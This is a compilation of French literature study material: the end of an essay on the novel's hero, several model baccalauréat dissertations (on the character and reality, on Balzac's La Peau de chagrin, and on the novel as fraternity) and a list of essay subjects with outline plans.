croit Rodolphe un « héros » de roman alors qu’il n’est qu’un petit séducteur de province, bellâtre et lâche, qui ne veut certes pas d’enlèvement au clair de lune ni de fuite exotique dans un «ailleurs voluptueux»... Et cette gourde de Bovary, est-ce qu’elle ne nous séduit pas autant que ces improbables et caracolants héros de certains romans héroïques ? Elle vit de sa vie propre et nous hante toujours : le lecteur de roman, s’il n’est pas Emma, cherche en la littérature, et le roman, autre chose qu’une évasion facile, ou le rêve. Il cherche, par exemple, à se retrouver soi- même, à se mieux connaître, à se comprendre, voire se juger, dans le bain décapant d’une cruelle ironie qui nous met tous à nu —auteur, lecteur, personnage. Sans compter qu’au-delà du plaisir un peu simple — naïf ? — à se retrouver dans un personnage, existent bien d’autres motivations à la lecture d’un (bon) roman. Cherchons-nous toujours un personnage ? Ne serait-ce pas parfois, un lieu une époque, un thème, ou plus fréquent encore, quoiqu’inconscient souvent chez le lecteur débutant, la magie d’un beau style, celui-là même de Flaubert, par exemple : le style, n’est- il pas parfois le « personnage principal d’un roman » ? Le style est parfois le héros... souvent d’ailleurs quand il n’y a plus de héros, ou que les héros sont fatigués, ou qu’ils sont si nombreux qu’ils s’éparpillent...

III- Déplacement de la notion d’héroïsme

En effet, certains romans, que nous lisons aussi avec plaisir, n’ont pas UN personnage principal, mais plusieurs. D’ailleurs il peut s’agit ici d’héroïsme collectif, comme dans l’Espoir , par exemple, où, en 1937, Malraux nous montre le comportement héroïque d’une multitude de personnages à l’un quelconque duquel le lecteur est bien incapable de s’identifier... C’est ici la « masse » qui est héroïque, résistants espagnols au fascisme, étrangers combattants volontaires des brigades internationales. C’est sur la solidarité de tout un peuple que le romancier — documentariste—          met ici l’accent : personnage-peuple, comme dans certaines œuvres historiques de Michelet, si l’on veut, un peu, s’éloigner du roman proprement dit.

Mais dans des ouvrages a priori plus classiques, comme la Comédie Humaine de Balzac, peut-on, même pour chaque roman pris isolément, parler d’UN personnage ? Qui est, du père Goriot, de Rastignac, de Vautrin, le personnage principal de l’œuvre ? Le personnage principal, ici, n’est-ce pas plutôt la société française que décrit le romancier, ou mieux encore, le romancier Balzac lui- même, Prométhée voleur de feu, tentant de donner un sens à l’Histoire et à ses histoires, personnage titanesque de sa propre œuvre, toujours présent, à chaque ligne, à chaque mot, jugeant ses personnages, les menant à sa guise, par-delà ses doutes et ses interrogations ? N’est-ce pas le «héros» Balzac que j’espère, que j’attends chaque fois que j’ouvre un volume de cette Comédie ? — le héros aux cent romans, aux forces de travail herculéennes, l’homme passionné par la vie, le monde, la littérature ?

Souvent donc, le « héros », c’est l’auteur (et qui plus est dans les autobiographies, romancées, déguisées, faussées ou non : qui prétendra retrouver dans À la recherche du temps perdu quelque autre personnage que Proust lui-même habillé en narrateur-qui-dit-je- mais-qui-n’-est-pas-vraiment-Marcel..) — et tout romancier, à sa manière, n’est-il pas « héros », puisqu’il crée ?

D’ailleurs, de plus en plus, dans le roman contemporain , le personnage s’efface peu à peu, s’amenuise, se perd ; plus incertaines deviennent les lignes de démarcation entre romancier et personnage. Les deux se fondent dans un flou où autobiographie imaginaire et réelle se mêlent, où le romancier devient personnage (.Livret de famille, de Patrick Modiano) en quête de sa propre identité. Non seulement, en effet, le personnage cesse d’être héros, il cesse même d’être, il perd son nom (A... chez Robbe-Grillet, O chez Claude Simon, Monsieur X chez Le Clézio) — il n’a plus ni visage, ni physique, ni contour net, devenant ombre entre les ombres, simples traces noires d’une machine à écrire sur une feuille blanche, sans plus de présence ni d’épaisseur ; tels les « héros » dérisoires et improbables du romancier Samuel Beckett (Molloy ou, mieux encore, celui justement intitulé l’Innommable) ou d’autres (Nouveau Roman essentiellement), où ni plus ni moins importants que les objets, le décor qui les environne, ils n’existent que le temps du déroulement du récit écrit.

Ainsi donc, je peux attendre, lecteur naïf et enthousiaste, du personnage romanesque qu’il soit le héros de mes rêves, qu’il véhicule mon idéal de vie, qu’il incarne mes désirs, dans le Bien ou le Mal, les plus secrets et refoulés, les plus bas ou les plus nobles. Mais je peux attendre bien autre chose, qu’il soit plus proche du monde qui m’entoure, plus fraternel en quelque sorte ; tels sont les anti-héros de certains romans, personnages médiocres choisis dans un échantillonnage banal d’humanité. Je puis même attendre que le personnage se démultiplie, devienne héros collectif, ou, à l’opposé, disparaisse progressivement. Plus d’héroïsme ici, hormis celui de l’écrivain en quête de nouveaux horizons, cherchant de nouvelles routes : le roman, en effet, c’est là sa force, et la probable cause de sa pérennité, est un genre libre, sans règle fixe. Le roman n’a jamais été codifié, — il fut seulement illustré par de grands ancêtres — Stendhal, Balzac et quelques autres — sans que jamais fut instituée une norme. D’où les nouvelles voies dans lesquelles, influencé par d’autres arts — cinéma, théâtre, télévision, ou d’autres moyens d’expression — journalisme, etc. — le roman peut s’engager aujourd’hui, sans cesser d’être vraiment roman. Reste au lecteur, avide de nouveauté et curieux, à s’y retrouver dans une littérature inhabituelle pour lui où font défaut des points de repère — intrigue, personnage, etc. — auquel il avait coutume de se référer. S’il résiste, pour longtemps encore, le roman sera le héros principal de la littérature authentique...

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Le personnage de roman se construit-il exclusivement par son rapport à la réalité ?

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France métropolitaine • Juin 2017

Séries ES, S • 16 points

La découverte d'un univers fictif

Dissertation

▶ Le personnage de roman se construit-il exclusivement par son rapport à la réalité ?

Vous appuierez votre réflexion sur les textes du corpus, sur les œuvres que vous avez étudiées en classe et sur vos lectures personnelles.

Voir les textes du corpus.

Les clés du sujet

Comprendre le sujet

Le présupposé est : « Le personnage de roman se construit par son rapport à la réalité. »

« réalité » : le monde qui nous entoure (objets, phénomènes de la nature, habitudes sociales, activités de la vie…). Cela s'oppose à imaginaire, rêve, illusion, fiction, vision, idéal…

Attention  : la question est ambiguë et peut déboucher sur deux problématiques différentes.

« Se construire » dans sa forme pronominale peut prendre deux sens.

Sens actif de « se former » → Le sujet agissant est « le personnage ». La problématique est alors interne au personnage et renvoie à son évolution par confrontation à la réalité : « Le personnage doit-il se confronter à la réalité pour donner l'illusion d'exister ? »

Sens passif de « est créé » (par son auteur) → La perspective est alors externe au personnage ; vous adoptez le point de vue de l'auteur : « Pour créer un personnage de roman, l'auteur doit-il s'appuyer sur le réel ou sur l'imaginaire ? »

Les deux interprétations sont acceptables ; on peut même combiner les deux. Mais l'adjectif possessif « son » (rapport) et le texte de Duras poussent à privilégier la première : Suzanne, plongée dans un monde très réel et frustrant, s'évade dans un autre univers, imaginaire (cf. Emma Bovary) : elle existe par sa confrontation au réel et par ses rêves.

«  exclusivement  » laisse entendre qu'il faut dépasser le présupposé, qu'il y a une discussion possible  : le personnage peut se construire par d'autres éléments (le rêve notamment).

On attend un plan dialectique, au moins une forme de concession dans la réponse (bien que le personnage de roman se construise dans la réalité, il peut aussi s'en échapper).

La problématique est : « Par rapport à quoi se construit un personnage romanesque ? »

Chercher des idées

Subdivisez la problématique en sous-questions  :

Pourquoi , c omment la réalité aide-t-elle un personnage à exister, évoluer ?

En quoi, comment le rêve, l'imaginaire jouent-ils aussi ce rôle ?

Dépassement suggéré : c'est l'interaction entre réalité et rêve, la tension entre les deux qui construisent un vrai personnage romanesque plus complexe et profond.

Les exemples

Des personnages qui sont confrontés à la réalité : romans d'apprentissage, romans réalistes (Balzac), naturalistes (Maupassant, Zola)…

Des personnages qui ne s'inscrivent pas dans la réalité humaine (Rabelais) ou de déconstruction du personnage (Nouveau Roman).

Les titres en couleur et les indications entre crochets servent à guider la lecture mais ne doivent pas figurer sur la copie. Les exemples ne sont que mentionnés : il faut les développer.

Nous avons opté pour la problématique « Le personnage doit-il se confronter à la réalité pour donner l'illusion d'exister ? »

Introduction

[Amorce] Un personnage de roman emporte le lecteur dans des aventures fictives souvent péjorativement qualifiées de « romanesques », le fait rêver ; il ne semble pas entretenir de rapports avec la réalité. Ainsi, Don Quichotte, qui se construit en « rêvant sa vie », a perdu la notion du réel et prend les fameux moulins pour des chevaliers… Cependant, l'on pourrait dire, en parodiant Aragon, que « la fiction ne suffit pas à caractériser le [personnage de] roman, mais un certain rapport entre cette fiction et la réalité ». [Problématique] Par rapport à quoi se construit un personnage romanesque : à la réalité ? à l'imaginaire ? [Annonce du plan] Sa confrontation avec le réel lui donne, certes, son épaisseur, assure sa formation, le fait évoluer et « exister »  [I], mais il ne peut véritablement prendre vie que s'il nourrit des rêves et d'une vie intérieure  [II]. En fait, c'est la tension entre ses rêves et son expérience concrète du monde qui lui assure une vraie profondeur, au point que le lecteur croit à sa véritable existence.  [III].

I. L'interaction avec le réel

Le personnage de roman se structure par sa confrontation avec le réel et ses expériences forgent son caractère.

1. Les difficultés de la vie forgent le personnage

Lorsque le monde ne correspond pas à l'idée que s'en fait le personnage, son rapport à la réalité peut devenir conflictuel. Les difficultés matérielles, les catastrophes, les expériences douloureuses, les échecs affectifs et professionnels, la cruauté des hommes l'obligent à réagir et à trouver en lui des ressources pour résister et subsister , elles forgent son caractère.

Le roman d'apprentissage retrace l'évolution du personnage, qui, à la fin de son parcours, a pris de l'expérience a « appris » la vie, parce qu'il a mesuré la distance entre ses rêves et la réalité. Exemples : Julien Sorel ( Le Rouge et le Noir ), Rastignac et Vautrin ( Le Père Goriot ), Frédéric ( L'Éducation sentimentale ), Bel-Ami, Robinson Crusoé…

2. Action et réflexion face à la complexité du monde

Le personnage évolue également en expérience et en sagesse parce qu'il découvre dans la durée la complexité du monde qui l'entoure. Les romanciers, notamment naturalistes, peignent l'individu confronté au réel parfois tout au long de sa vie ou sur une période importante de son existence (exemples).

Le héros multiplie les rencontres et les relations sociales, les expériences complexes, les situations embrouillées  : cela nourrit sa réflexion, retranscrite soit dans des dialogues, souvent contradictoires, soit dans des monologues intérieurs –  stream of consciousness  – et délibérations) (exemples). Le lecteur assiste à sa progressive formation intellectuelle, culturelle, morale ou philosophique , qui passe souvent par ses désillusions. Il voit une personnalité riche et singulière se structurer.

Dans le roman autobiographique, le narrateur-personnage, qui passe par toutes les phases réelles de la vie (enfance, adolescence, âge mûr…), se structure à partir des situations réelles de chacune d'elles. La confrontation de l'esprit à la réalité rend le personnage de plus en plus complexe et intéressant (la trilogie de Vallès, Une vie de Maupassant, textes du corpus).

3. Vers l'ascension ? Vers la chute ?

Le personnage prend ainsi une consistance qui se concrétise par la trajectoire de son parcours , résultat de ses tentatives pour transformer le réel.

S'il est actif et combatif, il s'agit d'une véritable ascension qui construit une « figure » sociale, politique ou historique, qui prend une stature supérieure, devient parfois un meneur (Étienne Lantier, Germinal  ; Georges Duroy, Bel Ami). Sa confrontation à la réalité se concrétise dans ses interventions auprès de son entourage sur lequel il agit et prend de l'ascendant (discours d'Étienne) et se matérialise dans les hautes fonctions auxquelles il accède (exemples).

Il arrive aussi qu'il s'agisse d'une déchéance, d'une chute, soit à cause d'événements contraires (Gervaise chez Zola), soit parce que le personnage est déchiré par ses contradictions devant la réalité (qui se traduisent par des délibérations : Valmont des Liaisons dangereuses  ; Javert de Hugo ; cas des anti-héros).

II. La nécessité d'une vie intérieure

Cependant, se frotter à la réalité ne suffit pas pour que le personnage prenne vie et suscite l'identification du lecteur : ses rêves, ses idéaux, son imagination, sa vie intérieure et leur confrontation avec le monde le construisent.

1. L'épaisseur du personnage

Le personnage de roman est souvent un être sensible, habité par des émotions complexes, et son épaisseur tient aussi à la subtilité de son intériorité . Ses zones d'ombre, ses contradictions, ses aspirations, parfois folles et irréalisables complètent son caractère (Emma Bovary, Mme de Tourvel dans Les Liaisons dangereuses , Mathilde de la Mole dans Le Rouge et le Noir ).

L'empathie et l'attachement qu'il peut susciter chez le lecteur – qui a l'impression de voir en lui un véritable humain, son semblable – naît de la connaissance de ses blessures, de ses illusions, de ses rêves qui font partie intégrante de son identité (Julien Sorel).

2. La part nécessaire de rêve

Le lecteur attend que le personnage soit confronté, comme lui-même l'est, à la question de tout être humain  : les (mes) rêves peuvent-ils devenir réalité ?

Comme la lecture d'un roman, les moments de rêverie sont des plages de plaisir, de désir, de fuite, des respirations nécessaires qui consolent de l'amère ou désespérante réalité (Duras, Camus ; Julien Sorel…), surtout quand les rêves – « où vont se perdre tous les désespoirs » (Duras) – deviennent plus réels que… la réalité elle-même  !

Sans possibilité de rêver , l'être humain se désespère, le personnage romanesque perd de sa substance (exemples).

3. Le refus du réel

Don Quichotte ou Emma Bovary sont des personnages à part entière ; or ils refusent la réalité et vivent volontiers dans l'imaginaire, celui des romans de chevalerie pour l'un, des romans d'amour… sentimentaux pour l'autre ! Leurs illusions les éloignent du réel et c'est ce désir de s'adonner au rêve qui les définit, les caractérise et cause leur perte (mort de Don Quichotte, suicide d'Emma).

D'autres personnages, désireux de surpasser la réalité et de vivre selon des valeurs supérieures à celles du monde qui les entoure, privilégient leur rêve d'absolu  : ce sont des idéalistes qui se construisent hors de la réalité (exemples).

Enfin, d'autres se sentent étrangers, indifférents au monde réel dans lequel ils passent sans le voir vraiment ( L'Étranger ).

Paradoxalement, c'est leur marginalité par rapport au réel qui fait la consistance de ces personnages romanesques.

III. Le personnage construit par la tension entre rêve et réalité

Mais le personnage ne se construit ni à partir de la réalité ni à partir de ses rêves. C'est la tension et l'interaction entre ces deux éléments qui le font vraiment exister.

1. Ni repli sur soi ni refus du rêve…, mais les deux

Il manque une dimension à tout personnage qui ne se construit que sur une de ces composantes : le réel ou l'imaginaire. Il restera un être de papier, artificiel – fou s'il se borne à rêver, écrasé par la vie ou vidé de substance s'il ne s'appuie que sur la réalité. Toute exclusive mène au drame et le personnage n'est pas « viable », le lecteur ne peut pas s'identifier à lui (Meursault dans L'Étranger de Camus).

Il se construit en fait dans cette tension permanente entre ses rêves et son expérience du réel (exemples), leur confrontation et leur interaction sont nécessaires .

2. L'oscillation entre rêve et réalité, la perte des illusions au contact du réel

C'est l'alternance, l' oscillation entre la confrontation avec la réalité et les moments de fuite hors du monde qui non seulement nourrissent l'intrigue du roman mais enrichissent la personnalité des héros romanesques (Julien Sorel).

Ce sont aussi les instants où le personnage prend conscience que les illusions le cèdent à la réalité qui lui donnent sa profondeur, son épaisseur psychologique et le font mûrir (Mme de Clèves, Fabrice del Dongo…).

3. Le vrai personnage de roman : celui qui domine la réalité et ses rêves

Les personnages les plus intéressants  ? Ce sont ceux qui arrivent, par un effort conscient que le lecteur suit pas à pas, à analyser et à dominer à la fois le monde réel qui les entoure et leurs illusions avec leur utopie. Comme le lecteur par rapport à eux, ils arrivent à prendre de la distance par rapport à eux-mêmes et au monde (corpus : Proust, Camus) et s'expliquent à leur lecteur, leur « frère »,

L'ironie, l'humour sur soi, parfois la dérision sont les marques de cette capacité à se dédoubler et à se regarder vivre et rêver, à ne pas renoncer au monde ni à son propre jardin secret, à accepter l'antagonisme entre la réalité et les illusions (Jacques le fataliste, Gil Blas) qui font un vrai personnage de roman captivant.

Ces personnages éclairent ainsi le « cœur humain » et font appréhender des vérités humaines et existentielles. Le roman devient alors un laboratoire vivant de l'analyse de l'Homme.

Le personnage de roman est un composé de réalité et d'imaginaire, dont le dosage est complexe et a varié au cours des siècles, selon les goûts esthétiques de l'époque (romantisme versus naturalisme…). [Ouverture] Le romancier se voit lui aussi, comme ses créations, contraint de jongler avec la réalité et la fiction : « Les héros de romans naissent du mariage que le romancier contracte avec la réalité. » (Mauriac)

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Dissertation sur La Peau de chagrin !

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conclusion dissertation personnage de roman

Voici un exemple de dissertation rédigée sur La Peau de chagrin de Balzac ( parcours au bac de français : Les romans de l’énergie : création et destruction).

Important : Pour faciliter ta lecture, le plan de cette dissertation est apparent et le développement présenté sous forme de liste à puces. N’oublie pas que le jour J, ton plan et ton développement doivent être intégralement rédigés !

Selon vous, le roman La Peau de chagrin nous invite-t-il à économiser notre énergie vitale ?

Pour que ce corrigé te soit utile, entraîne-toi avant à réaliser ce sujet avec ma fiche et mes vidéos sur La Peau de chagrin !

Introduction

La Peau de chagrin , roman d’Honoré de Balzac publié en 1831, fait partie de la fresque La Comédie humaine . Mais son registre fantastique et sa portée philosophique en font une œuvre à part. Succomber au désir pour vivre intensément , ou y renoncer pour atteindre la sagesse , tel est le choix auquel Raphaël de Valentin doit faire face. La force de la vie symbolisée par la peau de chagrin, est alors mise à l’épreuve par un rapport complexe au désir.

Dans quelle mesure le roman invite-t-il le lecteur à économiser son énergie vitale dont le désir est le socle ?

Du grec enargeia , la force agissante du personnage principal le pousse à voir le monde sous le prisme du désir. Si ce dernier peut être moteur de l’énergie vitale, poussé à l’extrême, il peut néanmoins conduire à sa destruction.

I – Dans le roman, le désir peut être moteur de l’énergie vitale…

Il ne s’agit donc pas d’économiser l’énergie vitale mais de prendre conscience de son fonctionnement et d’en profiter pour se sentir acteur de sa vie.

A – Le désir est le moteur l’énergie vitale

  • Le message de la peau de chagrin est le suivant : «  Dieu l’a voulu ainsi, désire, et tes désirs seront accomplis  ». Le désir est donc le moteur de l’énergie vitale , le guide de nos vies.
  • Le roman de Balzac établit un lien de cause à effet  entre la satisfaction des désirs et rétrécissement de la peau . Le désir consomme donc bien l’énergie vitale.
  • On peut faire un parallèle avec La Métaphysique d’Aristote , pour qui l’homme cherche à connaître le monde par l’expérience, c’est-à-dire la perception des sens et le plaisir qui en découle.

B – Le désir est un signe de vie

  • Au début du roman , Raphaël de Valentin, qui déambule dans Paris, au bord du suicide après avoir perdu son argent au jeu, est sans désir. L ‘absence de désir correspond alors à une absence de volonté de vivre .
  • Au cours du roman, les désirs matériels sont au centre de la vie de Raphaël (théâtre, orgie, jeu). Il s’agit d’une course effrénée.
  • A la fin du roman, Raphaël de Valentin perd le désir et vit reclus. Son dernier désir, celui de vivre , arrive trop tard.

C – Le désir amoureux est ambigu

  • Plusieurs femmes sont l’objet du désir amoureux  : la comtesse Foedora et Pauline. Les effets produits par le désir amoureux pour chacune de ses deux femmes est toutefois différent.
  • Le désir amoureux pour Foedora est de l’ordre de la passion (à comprendre dans sa double étymologie : désir et souffrance – du latin patior, eris, i qui signifie souffrir). Du refus de la comtesse découle un désir sans borne du corps, une débauche .
  • L ’amour pur et innocent partagé avec Pauline met fin à cette débauche. Le désir amoureux peut donc mener à la destruction ou à l’ apaisement .

II – Mais poussé à l’extrême, le désir conduit à la destruction de l’énergie vitale

A – la mort comme issue inexorable au désir.

  • La peau de chagrin énonce une mise en garde au début du roman : il n’y a pas de longévité possible pour celui qui multiplie les désirs. C’est le vieillissement prématuré : «  Désire, et tes désirs seront accomplis. Mais règle tes souhaits sur ta vie. Elle est là. À chaque vouloir, je décroîtrai comme tes jours « .
  • La métaphore du rétrécissement physique de la peau suggère que le désir épuise l’énergie vitale.
  • On peut faire un parallèle avec Le Portrait de Dorian Gray d’Oscar Wilde  : le tableau s’enlaidit au gré de la course aux plaisirs et vieillit progressivement à la place de Dorian, préfigurant ainsi sa propre mort.

B – La destruction de l’âme comme conséquence du désir

  • L’hédonisme de Raphaël de Valentin est matérialiste , centré sur l’acquisition de plaisirs matériels .  Cette philosophie de vie fait écho à celle du personnage Lui dans Le Neveu de Rameau de Diderot pour qui le plaisir individualiste prime sur le collectif (thèse portée par le personnage Moi).
  • La multiplication des désirs mondains et fugaces est un moteur du roman : amour, gloire, richesse, ambition. Mais ils apparaissent comme comme des péchés, vidant l’âme de Raphaël de Valentin .
  • Le désir de puissance démesuré (hybris grecque) mène à la mort . On retrouve dans la littérature du XIXme siècle d’autres héros trop ambitieux dont les désirs disproportionnés mènent à une issue fatale. C’est le cas par exemple de Julien Sorel dans Le Rouge et le Noir de Stendhal.

C – De la nécessité de vivre en modérant ses désirs

  • La portée morale et critique du roman est la suivante : il s’agit d’une condamnation de l’hédonisme à tout prix, des désirs disproportionnés et matérialistes. La poursuite éperdue de la richesse et du succès épuise notre énergie vitale .
  • La course aux désirs diminue l’énergie vital e du personnage principal et le conduit à sa propre perte. Rien (un ultime désir de vie) ni personne (Pauline) ne pourra le sauver.
  • Les désirs peuvent en revanche être modérés pour économiser l’énergie vitale . C’est le choix réalisé par l’Antiquaire : «  SAVOIR laisse notre faible organisation dans un perpétuel état de calme. « 

Le roman d’Honoré de Balzac entretient un rapport complexe au désir . Tantôt signe d’une énergie vitale sans pareille, tantôt annonciateur d’une mort prématurée, il est au cœur du destin de Raphaël de Valentin. C’est par lui que le personnage agit sur le monde et sur lui-même.

A l’instar de Raphaël de Valentin, Bel-Ami , chez Maupassant , est avide de réussite et se construit grâce à son énergie vitale dénuée de tout scrupule. Mais, sans doute plus cynique, la fin ouverte du roman de Maupassant laisse suggérer la poursuite de l’ascension sociale de son personnage principal, et non sa mort.

Analyses d’extraits de la Peau de chagrin :

  • La découverte de la peau de chagrin chez l’antiquaire (partie I)
  • La leçon de sagesse du vieillard (vouloir, pouvoir et savoir) (partie I)
  • La Peau de chagrin, Raphaël scelle le pacte avec la peau (partie I)
  • La Peau de chagrin, réponse du vieillard suite au pacte maudit (partie I)
  • Le portrait d’Euphrasie (partie I)
  • La Peau de chagrin, dialogue entre Raphaël et Emile (partie I)
  • Foedora, la fascination d’un nom (partie II)
  • Le portrait de Foedora (partie II)
  • Raphaël et Foedora, deux mondes incompatibles (partie II)
  • La peau de chagrin à l’épreuve de la science (partie III)
  • La Peau de chagrin, l’agonie de Raphaël, excipit (partie III)

Autres dissertations rédigées :

  • Dissertation sur Manon Lescaut
  • Dissertation sur Sido et Les Vrilles de la vigne
  • Dissertation sur Juste la fin du monde
  • Dissertation sur Le Malade imaginaire
  • Dissertation sur Les Fausses confidences
  • Dissertation sur Gargantua
  • Dissertation sur Les Caractères
  • Dissertation sur La Déclaration d’Olympe de Gouges
  • Dissertation sur Cahiers de Douai
  • Dissertation sur Mes forêts
  • Dissertation sur La Rage de l’expression

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Français au BAC : Exemple de dissertation corrigée sur le roman (3)

conclusion dissertation personnage de roman

Introduction

Romain Gary écrit : « Le roman, c’est la fraternité : on se met dans la peau des autres ». En effet, la lecture d’un roman permet au lecteur de sortir de sa sphère individuelle et de se projeter vers les autres en s’immergeant dans la vie et les pensées de personnages fictifs. En éprouvant de la compassion pour ces derniers ou en s’identifiant à eux, le lecteur vit une expérience de fraternité et se frotte à l’altérité. S’il est vrai que le roman a pour fonction de permettre au lecteur de se mettre dans la peau des autres et de comprendre leur vie (I), nous verrons aussi que le roman est un instrument de distanciation avec les autres (II). Mais le roman ne serait-il pas finalement un moyen de s’évader de soimême et des autres ? (III)

I – Le roman permet de se mettre dans la peau de quelqu’un d’autre et de comprendre sa vie

A – L’auteur et le lecteur se mettent dans la peau du personnage en adoptant son point de vue Exemple

– Mémoires d’Hadrien, Marguerite Yourcenar : Ce roman est présenté comme une lettre de l’Empereur Hadrien à son successeur Marc-Aurèle. Par ce procédé, Marguerite Yourcenar nous fait entrer dans les pensées intimes de l’Empereur Hadrien qui livre les ressorts de son âme et nous permet de comprendre sa vision des choses.

– Marguerite Yourcenar a fait de longues recherches pour se mettre dans la peau de son personnage. Elle confie dans ses notes « L’une des meilleures manières de recréer la pensée d’un homme : reconstituer sa bibliothèque. »

B – Le lecteur se met dans la peau d’un personnage de roman en s’identifiant à lui

– Le processus d’identification aux personnages de roman permet d’approfondir l’expérience de l’altérité.

– Mémoires d’Hadrien, Marguerite Yourcenar : ce roman parcourt toute la vie d’Hadrien : sa jeunesse, sa formation, son ascension politique, l’exercice du pouvoir et l’approche de la mort. Le lecteur suit pas-à-pas le destin du personnage et découvre ses pensées. Il peut s’identifier à lui. – La compassion que le lecteur peut éprouver à l’égard d’un personnage lui permet d’expérimenter le sentiment de fraternité.

– Madame Bovary, Flaubert : Emma Bovary est une jeune femme ordinaire, rêveuse, qui croit au Prince Charmant des romans historiques et sentimentaux. Incapable de s’adapter à la vie plate et prosaïque que lui offre son mari Charles, elle souffre, prend des amants et s’endette. Le lecteur éprouve de la compassion et donc de la fraternité pour elle.

C – Le roman est un miroir de la vie sociale qui permet de comprendre la vie des autres

– Le roman réaliste fait une description objective et précise de la vie des autres et nous permet ainsi de mieux comprendre ce qu’ils vivent.

– Germinal, Zola : Emile Zola décrit avec précision les conditions de la vie ouvrière dans les mines du Nord. Les registre tragique et épique dans ce roman suscitent l’empathie et l’admiration pour les ouvriers, créant un sentiment de fraternité avec les personnages.

II – Le roman peut aussi nous distancier des autres

A – La mise à distance par l’ironie – Quand l’auteur se montre ironique vis à vis de son personnage, il nous invite à porter un regard distancié sur ce personnage. Cette ironie crée alors une complicité entre l’auteur et le lecteur, aux dépens du personnage.

Exemple : – La Chartreuse de Parme, Stendhal : Stendhal fait preuve d’une ironie affectueuse envers Fabrice Del Dongo. Emprisonné, Fabrice est émerveillé par la vue de sa cellule d’où il aperçoit Clélia dont il est amoureux. Stendhal commente ironiquement : « Notre héros se laissait charmer par les douceurs de la prison ». Il nous invite à une mise à distance avec le personnage, créant une complicité entre le narrateur et le lecteur.

B – La mise à distance par l’observation

– Pour les écrivains naturalistes, le roman est comme un laboratoire d’expérimentation scientifique qui permet de comprendre les lois qui régissent la vie humaine et la vie sociale. Le lecteur est alors un observateur.

Exemple : – Bel-Ami, Maupassant : Georges Duroy est un anti-héros médiocre, un arriviste sans scrupule qui utilise les femmes pour gravir les échelons de la société. Son ascension sociale reflète les mœurs de la société parisienne à la fin du XIXème siècle. Le lecteur ne fraternise pas avec Georges Duroy, personnage méprisable, mais il observe la société parisienne et le monde de la presse au XIXème siècle.

C – Le roman est un instrument de la connaissance de soi

– Bouvard et Pécuchet, Flaubert : les deux personnages éponymes s’expriment à travers des expressions banales qui soulignent nos préjugés. Flaubert nous invite, à travers ses personnages de fiction (c’est à dire les autres), à mieux nous connaître et à nous regarder avec un esprit critique. – Lettres Persanes, Montesquieu : Les deux persans Usbek et Rica portent un regard faussement naïf sur l’Europe pour faire ressortir le ridicule des mœurs et institutions occidentales. Le roman amène le lecteur du XVIIIème siècle à porter sur lui-même un regard libre et à se détacher des préjugés.

III – Le roman : s’évader de soi et des autres

A – Le roman, une aventure imaginaire – Le récit et le roman permettent de nous évader dans un monde imaginaire.

Exemple : – Candide, Voltaire : Ce récit nous place dans l’univers du conte. Même si par moment la fiction et le réel se rencontrent (désastre de Lisbonne de 1755, missions jésuites,…), l’exotisme de l’épisode d’Eldorado permet au lecteur de s’évader.

– La mort du roi Tsongor, Laurent Gaudé : L’histoire nous transporte dans un univers imaginaire et utopique qui fait songer aux mythiques grands royaumes africains du Moyen-Âge. Les descriptions hyperboliques et le registre merveilleux du premier chapitre ne sont pas sans faire penser à l’Eldorado de Candide.

B – Le roman comme expérience d’étrangeté visà-vis de l’autre et de soi-même Le roman peut aller jusqu’à abolir la notion même de personnage. Il crée alors un effet d’étrangeté et d’irréalité vis-à-vis des autres.

Exemple : – L’Amant, Marguerite Duras : Marguerite Duras adopte une écriture cinématographique, extérieure à la pensée des personnages. Les personnages comptent peu : c’est l’étrangeté qui domine.

– Les choses, Georges Perec : Dans les années 1960, un jeune couple parisien est obnubilé par l’idée d’acquérir des objets pour leur confort matériel. Les personnages disparaissent derrière la description des choses.

C – Le roman, la « musique » d’un auteur

– Le roman est davantage la rencontre avec la langue d’un auteur que la rencontre avec un personnage.

Exemple : – Voyage au bout de la nuit, Céline : Ce roman captive par la force de sa langue orale qui dénonce la guerre, la colonisation, le taylorisme. – Mémoires d’Hadrien, Marguerite Yourcenar : On retrouve dans ce roman la musicalité de l’écriture antique à travers une écriture très classique et des épithètes homériques. Le roman permet alors de fraterniser davantage avec la voix de l’ auteur que celle du personnage.

Conclusion : Le roman n’a pas pour unique fonction de permettre au lecteur de se mettre dans la peau des autres et de comprendre leur vie. Il permet aussi de porter un regard distancié sur le monde, sur la société et sur soi-même. Il donne enfin la possibilité de fraterniser avec une voix singulière, celle de l’auteur qui, à travers sa prose, dévoile sa « musique » intérieure et délivre sa propre vision de la vie. [Bilan et réponse à la question] Ne pourrait-on considérer dès lors que, ainsi que le disait Jean Ricardou en 1963, « le roman n’est désormais plus l’écriture d’une aventure mais l’aventure d’une écriture » ? [Ouverture]

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Exemples de sujets de dissertation en Littérature sur le roman

Vous trouverez ici quelques suggestions de thèmes pour une dissertation sur le roman.

Dissertation sur le roman

Credit Photo : Pexels Sam Lion

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« La fiction ne suffit pas à caractériser le roman, mais un certain rapport entre cette fiction et la réalité. » - Louis Aragon . Êtes-vous d'accord avec cette citation ?

I- La part fictionnelle du roman (thème, stylistiques, suspension d'incrédulité, etc.) II- Son écho et son inscription dans une époque, dans la réalité III- La double position du roman : fictionnelle et historico-sociale

« Un roman naît, d'une façon en quelque sorte nécessaire, avec tous ses chapitres. » - Victor Hugo . Nommez les étapes du schéma narratif, et expliquez cette citation de Victor Hugo.

I- Les étapes du schéma narratif II- Le besoin de cohérence nécessite l'anticipation des étapes III- La fulgurance de l'idée du roman : son rôle-clé dans le travail de l'écrivain (fulgurance artistique)

« Un personnage de roman , c'est n'importe qui dans la rue, mais qui va jusqu'au bout de lui-même. » - George Simenon. Êtes-vous d'accord avec cette citation ? Développez en prenant l'exemple du roman d'apprentissage, le roman psychologique et le roman noir .

I- L'aspect fictionnel du roman (ex : roman d'apprentissage, La Chartreuse de Parme ) II- L'enclave du roman dans la réalité (aspect réaliste du développement psychologique du personnage : série des Rougon-Macquart , roman d'apprentissage, roman noir, roman psychologique (ex : L'oreille Interne , La Métaphysique des tubes , les travaux de Virginia Woolf sur le stream of consciousness, etc.) III- Questionnement sur l'inspiration de l'écrivain : jusqu'où un personnage est-il imaginaire, jusqu'où est-il inspiré du réel ?

« Le roman est une méditation sur l'existence vue au travers de personnages imaginaires. » - Milan Kundera . Qu'en pensez-vous ?

I- La fiction du roman peut se trouver dans l'environnement du personnage, et pas seulement dans le personnage (roman d'aventures, roman héroïque, etc.) II- Le roman est forcément inspiré du réel, malgré son côté fictionnel, et certains types de romans sont même spécialisés dans la ressemblance avec le réel (l'influence de la vie de l'auteur, roman historique, roman réaliste, etc.) III- La qualité existentielle du propos du roman : l'exemple du roman d'anticipation et du roman psychologique

